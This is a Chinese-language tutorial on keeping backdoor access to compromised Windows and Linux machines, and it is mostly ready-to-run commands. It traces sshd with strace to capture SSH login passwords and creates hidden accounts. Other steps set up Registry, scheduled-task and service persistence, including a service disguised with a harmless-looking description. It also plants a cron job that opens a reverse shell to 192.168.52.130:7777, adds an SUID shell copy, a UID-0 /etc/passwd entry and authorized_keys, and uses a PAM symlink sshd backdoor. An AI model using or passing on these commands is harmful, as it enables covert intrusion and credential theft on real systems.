Strace监听SSH来源流量记录密码后门
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
这里明文200377是我们的密码
//查看进程,可以看出有无开启 strace进程
root@ubuntu:/tmp# ps -ef | grep "strace"
root 2269 1610 9 04:38 pts/0 00:00:32 strace -f -F -p 956 -t -e trace=read,write -s 32
root 2456 2173 0 04:43 pts/0 00:00:00 grep --color=auto strace
root@ubuntu:/tmp# kill -9 2269
root@ubuntu:/tmp# ps -ef | grep "strace"
root 2458 2173 0 04:44 pts/0 00:00:00 grep --color=auto strace
root@ubuntu:/tmp#
SSH密钥远程登录
制作秘钥对
ssh-keygen //生成密钥再目录 /root/.ssh/id_rsa
在服务器上安装密钥
克隆账号(一)
隐藏账号
net user hack$ 123456 /add
net user
只能通过
启动项维持后门(二)
添加启动项的方式: 1、组策略 2、启动文件夹 3、注册表
组策略
gpedit.msc,在【计算机配置】->【在Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置
启动文件夹
通过开始菜单——所有程序——启动 这个文件夹内,可以将程序开机自动启动
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级普通权限
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
注册表
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\Administart\Desktop\shell.exe"
windows计划任务(三)
taskschd.msc
1、在每个任意用户登录中以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc onlogon /ru System 2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行
schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc onidle /i 30 3、在系统启动的时候以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc onstart /ru System 4、计划任务以 System 权限每10分钟运行一次
schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc minute/mo 10 /ru system
schtasks /create /tn test /sc minute /mo 1 /tr C:\Users\Administart\Desktop\shell.exe /ru system /f
Windows系统-系统服务维持后门(四)
1、创建服务
sc create shell start= auto binPath= "C:\shell.exe" obj= Localsystem
2、查看服务是否已经创建
services.msc
3、修改正常的名称和描述
sc description "shell" "安全"
4、启动服务
net start "服务"
Linux系统-定时任务后门(五)
crontab -u root -r //删除
crontab -u root -l //查看
crontab -u root -e //修改
1、创建反弹shell脚本,vim /etc/.evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.52.130/7777 0>&1
chmod +x /etc/.evil.sh
2、添加计划任务
#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab
设置定时任务为每分钟执行一次
*/1 * * * * root /etc/.evil.sh #每一分钟执行一次
Linux系统-SUID后门(六)
需要在root用户执行
cp /bin/bash /var/.hack
chmod 4775 /var/.hack
ls -al /var/.hack
然后普通用户执行,/var/.hack -p
Linux系统-SSHKey后门(七)
当我们具有写入权限的时候,我们同样可以自行生成密钥,当kali机器第一次生成密钥的时候,并且把公钥放在了你的服务器上面,当你把公钥放在服务器上面的时候,这就意味着他可以正常的解密和加密你发过来的内容,后面你就是通过加解密去认证会话的,并不需要输入密码
生成密钥和查看公钥(kali执行):
ssh-keygen -t rsa
cd /root/.ssh
ls
cat id_rsa.pub
将 id_rsa.pub文件中的内容拷贝到目标机器(ubuntu)上并且写入到 authorized_keys这个文件夹下
写入(CentOS执行):
cd /root/.ssh
vim authorized_keys
我ubuntu并未配置任何设置
ssh root@192.168.236.133
其实就是ssh通过 authorized_keys 进行的验证,
Linux系统-添加用户后门(八)
添加用户
生成密码: openssl passwd -1 -salt admin 123456
-1 的意思是使用md5crypt加密算法
-salt 指定盐为admin
123456 明文密码
追加命令(UID=0):
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd
ssh admin@192.168.52.132 然后密码是明文 123456
Linux-SSH 软连接后门(九)
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功 受害者机器
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=8080
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
攻击者
ssh root@192.168.52.132 -p 8080
直接连上
Linux-strace监控流量(十)
strace -f -p 15191 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
ssh root@127.0.0.1
ssh jycxk@127.0.0.1
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。